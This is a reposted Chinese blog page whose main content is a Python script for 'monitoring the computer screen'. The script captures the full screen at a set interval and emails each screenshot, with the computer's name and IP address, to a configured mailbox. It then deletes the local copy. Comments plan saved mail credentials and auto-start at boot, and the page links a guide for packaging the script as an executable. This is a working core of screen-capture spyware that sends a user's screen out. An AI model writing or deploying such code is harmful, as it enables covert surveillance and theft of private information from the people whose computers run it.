zoukankan      html  css  js  c++  java
  • 监控电脑屏幕python

    #/bin/usr/python3/
    #coding:utf-8
    
    from PIL import ImageGrab
    import qq_email,os,time
    import socket#获取电脑ip等
    ## send_file('屏幕截图','neirong','1.jpg')
    
    '''
    QQ496631085
    流程:
    
        输入 发件QQ邮箱,密码,收件邮箱,(加密,保存配置)
        多少秒发一次屏幕截图,(保存配置)
        写入开机启动
    '''
    def now_time():
        return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
    def ip():
        try:
            #获取本机电脑名
            myname = socket.getfqdn(socket.gethostname())
            #获取本机ip
            myaddr = socket.gethostbyname(myname)
            return '电脑名:'+ myname + ' IP' + myaddr
        except:
            print('获取电脑信息失败')
        
    def jietu():
        im = ImageGrab.grab()
        im.save('1.png')#保存图片
        
        try:
            qq_email.send_file('屏幕截图', ip() + now_time()  ,'1.png')#发送邮件
            os.remove('1.png') #删文件
        except:
            print('send_error')
    # timing  =  3600    
    try:
        timing=int(input('多少秒发送一次屏幕截图'))
    except:
        timing=30
    while timing:
        jietu()
        time.sleep(timing)

    https://blog.csdn.net/sinat_27382047/article/details/81304065         EXE打包地址https://blog.csdn.net/lqzdreamer/article/details/77917493

  • 相关阅读:
    通过异常处理错误-2
    通过异常处理错误-1
    线程池
    Synchronized
    持有对象-4
    持有对象-3
    持有对象-2 迭代器深入理解
    ServletContextListener
    持有对象-1
    行为参数化
  • 原文地址:https://www.cnblogs.com/xiaohe520/p/10881164.html
Copyright © 2011-2022 走看看